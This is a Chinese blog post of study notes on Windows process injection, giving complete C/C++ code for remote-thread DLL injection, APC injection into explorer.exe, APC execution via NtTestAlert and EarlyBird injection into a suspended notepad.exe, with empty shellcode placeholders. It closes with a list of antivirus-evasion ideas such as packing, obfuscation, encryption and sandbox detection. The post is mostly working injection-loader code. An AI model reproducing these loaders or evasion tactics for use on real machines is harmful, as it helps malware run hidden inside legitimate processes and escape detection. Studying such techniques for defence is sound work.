冰冻三尺非一日之寒|

牛奶雪碧冰淇淋

园龄:4年5个月粉丝:1关注:5

常见注入方式学习

远程线程注入(DLL注入)

加载DLL,dllMain执行

  • 原理:利用远程线程回调函数执行代码所导致的注入
  • 流程:在目标进程中创建远程线程,线程回调函数传参LoadLibrary,传递DLL路径作为回调函数,也就是LoadLibrary的参数。线程执行LoadLibrary后加载DLL并执行。
  • 优点: 相对稳定。
  • 缺点: 易被检测。
#include <iostream>
#include <windows.h>

#define DLL_PATH L"D:\\Debug\\injectDLL.dll"

// 具体流程:
//		获得目标句柄,申请空间存放变量
//		创建远程线程并记载到目标进程中,线程回调函数调用动态库加载API函数
//		从而执行自定义代码(线程回调函数加载LoadLibiary方式进行的远程线程注入)

int main() {

	// 注入流程:
	// 得到目标句柄,进行控制(创建线程,并加载自定义DLL)
	DWORD dwPid = 0;
	scanf_s("%d", &dwPid);
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);

	// 向目标进程申请空间存放路径名
	SIZE_T lpNumberOfBytesWritten = 0;
	DWORD dwSize = (wcslen(DLL_PATH) + 1) * 2;
	LPVOID lpAddress = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
	WriteProcessMemory(hProcess, lpAddress, DLL_PATH, dwSize, &lpNumberOfBytesWritten);

	HANDLE hThread = CreateRemoteThread(
		hProcess, NULL, NULL, 
		(LPTHREAD_START_ROUTINE)LoadLibraryW,
		lpAddress, NULL, NULL
	);

	// 检测调用完毕,释放资源
	WaitForSingleObject(hThread, -1);
	VirtualFree(lpAddress, dwSize, NULL);
	CloseHandle(hThread);
	CloseHandle(hProcess);
}

APC注入(内存注入)

线程切换调用异步过程,异步过程回调函数执行

  • 原理:APC(Asynchronous Procedure Call)异步过程调用,操作系统支持异步过程调用,允许一个进程向另一个进程的执行上下文中插入一个函数(回调函数)的执行,这种机制通常用于异步通信和处理中断,但它也可以被恶意用于注入代码。
  • 流程:向目标进程申请内存空间写入恶意代码,使用系统API注册创建一个异步过程调用对象,关联到目标进程,并将写入的恶意代码的入口点注册为异步过程调用的回调函数。等待异步过程调用触发从而执行恶意代码。
  • 优点: 不创建新的进程和线程,而是内存写入,利用目标进程的执行流程来执行写入的恶意代码,因此较难被检测。
  • 缺点: 注入的程序必须是多线程,部分程序切换线程上下文并不会触发异步过程调用,并且由于异步过程调用的执行依赖于目标进程的上下文切换和调度,可能存在稳定性问题,导致注入失败。
#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>

// 具体流程:
// 		申请空间将恶意代码写入,注册APC对象,设置回调函数为恶意代码入口
//		通过进程名->进程ID->遍历进程线程->插入APC->等待执行

DWORD GetProcessIdByName(LPCTSTR lpszProcessName)
{
	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hSnapshot == INVALID_HANDLE_VALUE)
	{
		return 0;
	}

	PROCESSENTRY32 pe;
	pe.dwSize = sizeof pe;

	if (Process32First(hSnapshot, &pe))
	{
		do {
			if (lstrcmpi(lpszProcessName, pe.szExeFile) == 0)
			{
				CloseHandle(hSnapshot);
				return pe.th32ProcessID;
			}
		} while (Process32Next(hSnapshot, &pe));
	}

	CloseHandle(hSnapshot);
	return 0;
}


BOOL GetAllThreadIdByProcessId(DWORD dwProcessId)
{

	DWORD dwBufferLength = 1000;
	THREADENTRY32 te32 = { 0 };
	HANDLE hSnapshot = NULL;
	BOOL bRet = TRUE;


	// 获取线程快照
	::RtlZeroMemory(&te32, sizeof(te32));
	te32.dwSize = sizeof(te32);
	hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);

	// 获取第一条线程快照信息
	bRet = ::Thread32First(hSnapshot, &te32);
	while (bRet)
	{
		// 获取进程对应的线程ID
		if (te32.th32OwnerProcessID == dwProcessId)
		{
			return te32.th32ThreadID;
		}

		// 遍历下一个线程快照信息
		bRet = ::Thread32Next(hSnapshot, &te32);
	}
	return 0;
}

int main() {
	FARPROC pLoadLibrary = NULL;
	HANDLE hThread = NULL;
	HANDLE hProcess = 0;
	DWORD Threadid = 0;
	DWORD ProcessId = 0;
	BYTE DllName[] = "C:\\Users\\Black Sheep\\source\\repos\\ApcInject\\x64\\Debug\\TestDll.dll";
	LPVOID AllocAddr = NULL;

	ProcessId = GetProcessIdByName(L"explorer.exe");
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, ProcessId);
	pLoadLibrary = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
	AllocAddr = VirtualAllocEx(hProcess, 0, sizeof(DllName) + 1, MEM_COMMIT, PAGE_READWRITE);
	WriteProcessMemory(hProcess, AllocAddr, DllName, sizeof(DllName) + 1, 0);
	Threadid = GetAllThreadIdByProcessId(ProcessId);
	hThread = OpenThread(THREAD_ALL_ACCESS, 0, Threadid);
	QueueUserAPC((PAPCFUNC)pLoadLibrary, hThread, (ULONG_PTR)AllocAddr);
	CloseHandle(hProcess);
	CloseHandle(hThread);
	return 0;

}

APC & NtTestAlert Code Execute

利用线程初始化时会调用ntdll中的NtTestAlert函数执行清空APC队列,从而执行提前注入好的恶意代码。

优点:解决了APC注入恶意带是否执行及执行时间的不确定性.

缺点:emmm

#include <Windows.h>
#include<stdio.h>
char shellcode[]="";
typedef VOID(NTAPI* pNtTestAlert)(VOID);

//具体流程:申请空间写入恶意代码,获取线程ID插入APC,调用NtTestAlert(注:这里是当前进程线程示例)

int main() {

	pNtTestAlert NtTestAlert = (pNtTestAlert)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTestAlert");

	LPVOID lpBaseAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	memcpy(lpBaseAddress, shellcode, sizeof(shellcode));

	QueueUserAPC((PAPCFUNC)lpBaseAddress, GetCurrentThread(), NULL);
	
	NtTestAlert();
	return 0;
}

APC注入变种 - EarlyBird

EarlyBird是APC注入和线程劫持结合的变种,利用的是线程初始化时会调用ntdll中的NtTestAlert函数执行清空APC队列,从而执行提前注入好的恶意代码。

优点:解决了APC注入恶意带是否执行及执行时间的不确定性,并且先于进程入口点提前拿到控制权,可以用来过进程内检测。

缺点:需要创建挂起的进程(一般需要为合法/白名单进程),可能会被检测

#include <Windows.h>
#include <iostream>
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
unsigned char shellcode[] = "";
 
// 具体流程:创建挂起进程获得主线程ID,申请空间写入恶意代码,插入APC,调用

int main()
{
	LPCSTR lpApplication = "C:\\Windows\\notepad.exe";//32位机器notepad的位置
	SIZE_T shellcodeLen = sizeof(shellcode);
	STARTUPINFO sInfo = { 0 };
	PROCESS_INFORMATION pInfo = { 0 };
	CreateProcessA(lpApplication, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, (LPSTARTUPINFOA)&sInfo, &pInfo);
	HANDLE hProc = pInfo.hProcess;
	HANDLE hThread = pInfo.hThread;
 
	LPVOID lpvShellAddress = VirtualAllocEx(hProc, NULL, shellcodeLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	PTHREAD_START_ROUTINE ptApcRoutine = (PTHREAD_START_ROUTINE)lpvShellAddress;
	WriteProcessMemory(hProc, lpvShellAddress, shellcode, shellcodeLen, NULL);
 
	QueueUserAPC(PAPCFUNC(ptApcRoutine), hThread, NULL);
	ResumeThread(hThread);
	return 0;
}

SetWindowHook注入(事件-消息 钩子)

IAT-HOOK注入

参考文章:未完待续。。。

关于免杀的一点思路

静态检测 - 基于特征码、白名单签名

  • 加壳
  • 混淆截断
  • 分离免杀
  • 加密算法加密
  • 无法解壳时大多时候会报毒,(白名单除外)

动态检测 - 沙箱检测

  • 沙箱角度:检测沙箱,沙箱漏洞利用
  • 病毒自身:延长伪装时间

本文作者:牛奶雪碧冰淇淋

本文链接:https://www.cnblogs.com/sumiceBlog/p/17638690.html

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   牛奶雪碧冰淇淋  阅读(30)  评论(0编辑  收藏  举报
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起